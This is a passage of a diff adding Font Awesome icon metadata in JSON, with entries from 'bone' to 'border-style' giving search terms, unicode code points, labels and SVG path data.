167c9.4 9.4 9.4 24.6 0 33.9l-17.4 17.4c11.8 26.1 18.4 55.1 18.4 85.6 0 114.9-93.1 208-208 208S0 418.9 0 304 93.1 96 208 96c30.5 0 59.5 6.6 85.6 18.4L311 97c9.4-9.4 24.6-9.4 33.9 0l26.5 26.5 52-52 17.1 17zM500 60h-24c-6.6 0-12 5.4-12 12s5.4 12 12 12h24c6.6 0 12-5.4 12-12s-5.4-12-12-12zM440 0c-6.6 0-12 5.4-12 12v24c0 6.6 5.4 12 12 12s12-5.4 12-12V12c0-6.6-5.4-12-12-12zm33.9 55l17-17c4.7-4.7 4.7-12.3 0-17-4.7-4.7-12.3-4.7-17 0l-17 17c-4.7 4.7-4.7 12.3 0 17 4.8 4.7 12.4 4.7 17 0zm-67.8 0c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17zm67.8 34c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17zM112 272c0-35.3 28.7-64 64-64 8.8 0 16-7.2 16-16s-7.2-16-16-16c-52.9 0-96 43.1-96 96 0 8.8 7.2 16 16 16s16-7.2 16-16z" + } + }, + "free": [ + "solid" + ] + }, + "bone": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "calcium", + "dog", + "skeletal", + "skeleton", + "tibia" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5d7", + "label": "Bone", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635346, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M598.88 244.56c25.2-12.6 41.12-38.36 41.12-66.53v-7.64C640 129.3 606.7 96 565.61 96c-32.02 0-60.44 20.49-70.57 50.86-7.68 23.03-11.6 45.14-38.11 45.14H183.06c-27.38 0-31.58-25.54-38.11-45.14C134.83 116.49 106.4 96 74.39 96 33.3 96 0 129.3 0 170.39v7.64c0 28.17 15.92 53.93 41.12 66.53 9.43 4.71 9.43 18.17 0 22.88C15.92 280.04 0 305.8 0 333.97v7.64C0 382.7 33.3 416 74.38 416c32.02 0 60.44-20.49 70.57-50.86 7.68-23.03 11.6-45.14 38.11-45.14h273.87c27.38 0 31.58 25.54 38.11 45.14C505.17 395.51 533.6 416 565.61 416c41.08 0 74.38-33.3 74.38-74.39v-7.64c0-28.18-15.92-53.93-41.12-66.53-9.42-4.71-9.42-18.17.01-22.88z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M598.88 244.56c25.2-12.6 41.12-38.36 41.12-66.53v-7.64C640 129.3 606.7 96 565.61 96c-32.02 0-60.44 20.49-70.57 50.86-7.68 23.03-11.6 45.14-38.11 45.14H183.06c-27.38 0-31.58-25.54-38.11-45.14C134.83 116.49 106.4 96 74.39 96 33.3 96 0 129.3 0 170.39v7.64c0 28.17 15.92 53.93 41.12 66.53 9.43 4.71 9.43 18.17 0 22.88C15.92 280.04 0 305.8 0 333.97v7.64C0 382.7 33.3 416 74.38 416c32.02 0 60.44-20.49 70.57-50.86 7.68-23.03 11.6-45.14 38.11-45.14h273.87c27.38 0 31.58 25.54 38.11 45.14C505.17 395.51 533.6 416 565.61 416c41.08 0 74.38-33.3 74.38-74.39v-7.64c0-28.18-15.92-53.93-41.12-66.53-9.42-4.71-9.42-18.17.01-22.88z" + } + }, + "free": [ + "solid" + ] + }, + "bong": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "aparatus", + "cannabis", + "marijuana", + "pipe", + "smoke", + "smoking" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f55c", + "label": "Bong", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635347, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M302.5 512c23.18 0 44.43-12.58 56-32.66C374.69 451.26 384 418.75 384 384c0-36.12-10.08-69.81-27.44-98.62L400 241.94l9.38 9.38c6.25 6.25 16.38 6.25 22.63 0l11.3-11.32c6.25-6.25 6.25-16.38 0-22.63l-52.69-52.69c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l9.38 9.38-39.41 39.41c-11.56-11.37-24.53-21.33-38.65-29.51V63.74l15.97-.02c8.82-.01 15.97-7.16 15.98-15.98l.04-31.72C320 7.17 312.82-.01 303.97 0L80.03.26c-8.82.01-15.97 7.16-15.98 15.98l-.04 31.73c-.01 8.85 7.17 16.02 16.02 16.01L96 63.96v153.93C38.67 251.1 0 312.97 0 384c0 34.75 9.31 67.27 25.5 95.34C37.08 499.42 58.33 512 81.5 512h221zM120.06 259.43L144 245.56V63.91l96-.11v181.76l23.94 13.87c24.81 14.37 44.12 35.73 56.56 60.57h-257c12.45-24.84 31.75-46.2 56.56-60.57z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M302.5 512c23.18 0 44.43-12.58 56-32.66C374.69 451.26 384 418.75 384 384c0-36.12-10.08-69.81-27.44-98.62L400 241.94l9.38 9.38c6.25 6.25 16.38 6.25 22.63 0l11.3-11.32c6.25-6.25 6.25-16.38 0-22.63l-52.69-52.69c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l9.38 9.38-39.41 39.41c-11.56-11.37-24.53-21.33-38.65-29.51V63.74l15.97-.02c8.82-.01 15.97-7.16 15.98-15.98l.04-31.72C320 7.17 312.82-.01 303.97 0L80.03.26c-8.82.01-15.97 7.16-15.98 15.98l-.04 31.73c-.01 8.85 7.17 16.02 16.02 16.01L96 63.96v153.93C38.67 251.1 0 312.97 0 384c0 34.75 9.31 67.27 25.5 95.34C37.08 499.42 58.33 512 81.5 512h221zM120.06 259.43L144 245.56V63.91l96-.11v181.76l23.94 13.87c24.81 14.37 44.12 35.73 56.56 60.57h-257c12.45-24.84 31.75-46.2 56.56-60.57z" + } + }, + "free": [ + "solid" + ] + }, + "book": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "diary", + "documentation", + "journal", + "library", + "read" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f02d", + "label": "book", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635349, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 360V24c0-13.3-10.7-24-24-24H96C43 0 0 43 0 96v320c0 53 43 96 96 96h328c13.3 0 24-10.7 24-24v-16c0-7.5-3.5-14.3-8.9-18.7-4.2-15.4-4.2-59.3 0-74.7 5.4-4.3 8.9-11.1 8.9-18.6zM128 134c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm0 64c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm253.4 250H96c-17.7 0-32-14.3-32-32 0-17.6 14.4-32 32-32h285.4c-1.9 17.1-1.9 46.9 0 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 360V24c0-13.3-10.7-24-24-24H96C43 0 0 43 0 96v320c0 53 43 96 96 96h328c13.3 0 24-10.7 24-24v-16c0-7.5-3.5-14.3-8.9-18.7-4.2-15.4-4.2-59.3 0-74.7 5.4-4.3 8.9-11.1 8.9-18.6zM128 134c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm0 64c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm253.4 250H96c-17.7 0-32-14.3-32-32 0-17.6 14.4-32 32-32h285.4c-1.9 17.1-1.9 46.9 0 64z" + } + }, + "free": [ + "solid" + ] + }, + "book-dead": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "crossbones", + "d&d", + "dark arts", + "death", + "dnd", + "documentation", + "evil", + "fantasy", + "halloween", + "holiday", + "necronomicon", + "read", + "skull", + "spell" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6b7", + "label": "Book of the Dead", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635347, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M272 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm176 222.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM240 56c44.2 0 80 28.7 80 64 0 20.9-12.7 39.2-32 50.9V184c0 8.8-7.2 16-16 16h-64c-8.8 0-16-7.2-16-16v-13.1c-19.3-11.7-32-30-32-50.9 0-35.3 35.8-64 80-64zM124.8 223.3l6.3-14.7c1.7-4.1 6.4-5.9 10.5-4.2l98.3 42.1 98.4-42.1c4.1-1.7 8.8.1 10.5 4.2l6.3 14.7c1.7 4.1-.1 8.8-4.2 10.5L280.6 264l70.3 30.1c4.1 1.7 5.9 6.4 4.2 10.5l-6.3 14.7c-1.7 4.1-6.4 5.9-10.5 4.2L240 281.4l-98.3 42.2c-4.1 1.7-8.8-.1-10.5-4.2l-6.3-14.7c-1.7-4.1.1-8.8 4.2-10.5l70.4-30.1-70.5-30.3c-4.1-1.7-5.9-6.4-4.2-10.5zm256 224.7H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8zM208 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M272 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm176 222.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM240 56c44.2 0 80 28.7 80 64 0 20.9-12.7 39.2-32 50.9V184c0 8.8-7.2 16-16 16h-64c-8.8 0-16-7.2-16-16v-13.1c-19.3-11.7-32-30-32-50.9 0-35.3 35.8-64 80-64zM124.8 223.3l6.3-14.7c1.7-4.1 6.4-5.9 10.5-4.2l98.3 42.1 98.4-42.1c4.1-1.7 8.8.1 10.5 4.2l6.3 14.7c1.7 4.1-.1 8.8-4.2 10.5L280.6 264l70.3 30.1c4.1 1.7 5.9 6.4 4.2 10.5l-6.3 14.7c-1.7 4.1-6.4 5.9-10.5 4.2L240 281.4l-98.3 42.2c-4.1 1.7-8.8-.1-10.5-4.2l-6.3-14.7c-1.7-4.1.1-8.8 4.2-10.5l70.4-30.1-70.5-30.3c-4.1-1.7-5.9-6.4-4.2-10.5zm256 224.7H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8zM208 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16z" + } + }, + "free": [ + "solid" + ] + }, + "book-medical": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "diary", + "documentation", + "health", + "history", + "journal", + "library", + "read", + "record" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7e6", + "label": "Medical Book", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635348, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16q0-9.6-9.6-19.2c-3.2-16-3.2-60.8 0-73.6q9.6-4.8 9.6-19.2zM144 168a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8v48a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8zm236.8 280H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16q0-9.6-9.6-19.2c-3.2-16-3.2-60.8 0-73.6q9.6-4.8 9.6-19.2zM144 168a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8v48a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8zm236.8 280H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8z" + } + }, + "free": [ + "solid" + ] + }, + "book-open": { + "changes": [ + "5.0.13", + "5.1.0", + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "flyer", + "library", + "notebook", + "open book", + "pamphlet", + "reading" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f518", + "label": "Book Open", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635348, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M542.22 32.05c-54.8 3.11-163.72 14.43-230.96 55.59-4.64 2.84-7.27 7.89-7.27 13.17v363.87c0 11.55 12.63 18.85 23.28 13.49 69.18-34.82 169.23-44.32 218.7-46.92 16.89-.89 30.02-14.43 30.02-30.66V62.75c.01-17.71-15.35-31.74-33.77-30.7zM264.73 87.64C197.5 46.48 88.58 35.17 33.78 32.05 15.36 31.01 0 45.04 0 62.75V400.6c0 16.24 13.13 29.78 30.02 30.66 49.49 2.6 149.59 12.11 218.77 46.95 10.62 5.35 23.21-1.94 23.21-13.46V100.63c0-5.29-2.62-10.14-7.27-12.99z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M542.22 32.05c-54.8 3.11-163.72 14.43-230.96 55.59-4.64 2.84-7.27 7.89-7.27 13.17v363.87c0 11.55 12.63 18.85 23.28 13.49 69.18-34.82 169.23-44.32 218.7-46.92 16.89-.89 30.02-14.43 30.02-30.66V62.75c.01-17.71-15.35-31.74-33.77-30.7zM264.73 87.64C197.5 46.48 88.58 35.17 33.78 32.05 15.36 31.01 0 45.04 0 62.75V400.6c0 16.24 13.13 29.78 30.02 30.66 49.49 2.6 149.59 12.11 218.77 46.95 10.62 5.35 23.21-1.94 23.21-13.46V100.63c0-5.29-2.62-10.14-7.27-12.99z" + } + }, + "free": [ + "solid" + ] + }, + "book-reader": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "flyer", + "library", + "notebook", + "open book", + "pamphlet", + "reading" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5da", + "label": "Book Reader", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635348, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96 42.98 96 96 96 96-42.98 96-96zM233.59 241.1c-59.33-36.32-155.43-46.3-203.79-49.05C13.55 191.13 0 203.51 0 219.14v222.8c0 14.33 11.59 26.28 26.49 27.05 43.66 2.29 131.99 10.68 193.04 41.43 9.37 4.72 20.48-1.71 20.48-11.87V252.56c-.01-4.67-2.32-8.95-6.42-11.46zm248.61-49.05c-48.35 2.74-144.46 12.73-203.78 49.05-4.1 2.51-6.41 6.96-6.41 11.63v245.79c0 10.19 11.14 16.63 20.54 11.9 61.04-30.72 149.32-39.11 192.97-41.4 14.9-.78 26.49-12.73 26.49-27.06V219.14c-.01-15.63-13.56-28.01-29.81-27.09z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96 42.98 96 96 96 96-42.98 96-96zM233.59 241.1c-59.33-36.32-155.43-46.3-203.79-49.05C13.55 191.13 0 203.51 0 219.14v222.8c0 14.33 11.59 26.28 26.49 27.05 43.66 2.29 131.99 10.68 193.04 41.43 9.37 4.72 20.48-1.71 20.48-11.87V252.56c-.01-4.67-2.32-8.95-6.42-11.46zm248.61-49.05c-48.35 2.74-144.46 12.73-203.78 49.05-4.1 2.51-6.41 6.96-6.41 11.63v245.79c0 10.19 11.14 16.63 20.54 11.9 61.04-30.72 149.32-39.11 192.97-41.4 14.9-.78 26.49-12.73 26.49-27.06V219.14c-.01-15.63-13.56-28.01-29.81-27.09z" + } + }, + "free": [ + "solid" + ] + }, + "bookmark": { + "changes": [ + "1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "favorite", + "marker", + "read", + "remember", + "save" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f02e", + "label": "bookmark", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635350, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 512V48C0 21.49 21.49 0 48 0h288c26.51 0 48 21.49 48 48v464L192 400 0 512z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M0 512V48C0 21.49 21.49 0 48 0h288c26.51 0 48 21.49 48 48v464L192 400 0 512z" + }, + "regular": { + "last_modified": 1628088634690, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M336 0H48C21.49 0 0 21.49 0 48v464l192-112 192 112V48c0-26.51-21.49-48-48-48zm0 428.43l-144-84-144 84V54a6 6 0 0 1 6-6h276c3.314 0 6 2.683 6 5.996V428.43z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M336 0H48C21.49 0 0 21.49 0 48v464l192-112 192 112V48c0-26.51-21.49-48-48-48zm0 428.43l-144-84-144 84V54a6 6 0 0 1 6-6h276c3.314 0 6 2.683 6 5.996V428.43z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "bootstrap": { + "changes": [ + "5.8.0", + "5.15.4" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f836", + "label": "Bootstrap", + "svg": { + "brands": { + "last_modified": 1627918086737, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z" + } + }, + "free": [ + "brands" + ] + }, + "border-all": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cell", + "grid", + "outline", + "stroke", + "table" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f84c", + "label": "Border All", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635352, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 32H32A32 32 0 0 0 0 64v384a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V64a32 32 0 0 0-32-32zm-32 64v128H256V96zm-192 0v128H64V96zM64 416V288h128v128zm192 0V288h128v128z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M416 32H32A32 32 0 0 0 0 64v384a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V64a32 32 0 0 0-32-32zm-32 64v128H256V96zm-192 0v128H64V96zM64 416V288h128v128zm192 0V288h128v128z" + } + }, + "free": [ + "solid" + ] + }, + "border-none": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cell", + "grid", + "outline", + "stroke", + "table" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f850", + "label": "Border None", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635355, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M240 224h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-288 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM240 320h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-384h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM48 224H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M240 224h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-288 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM240 320h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-384h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM48 224H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "border-style": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "solid" + ], + "unicode": "f853", + "label": "Border Style", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635356, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M240 416h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 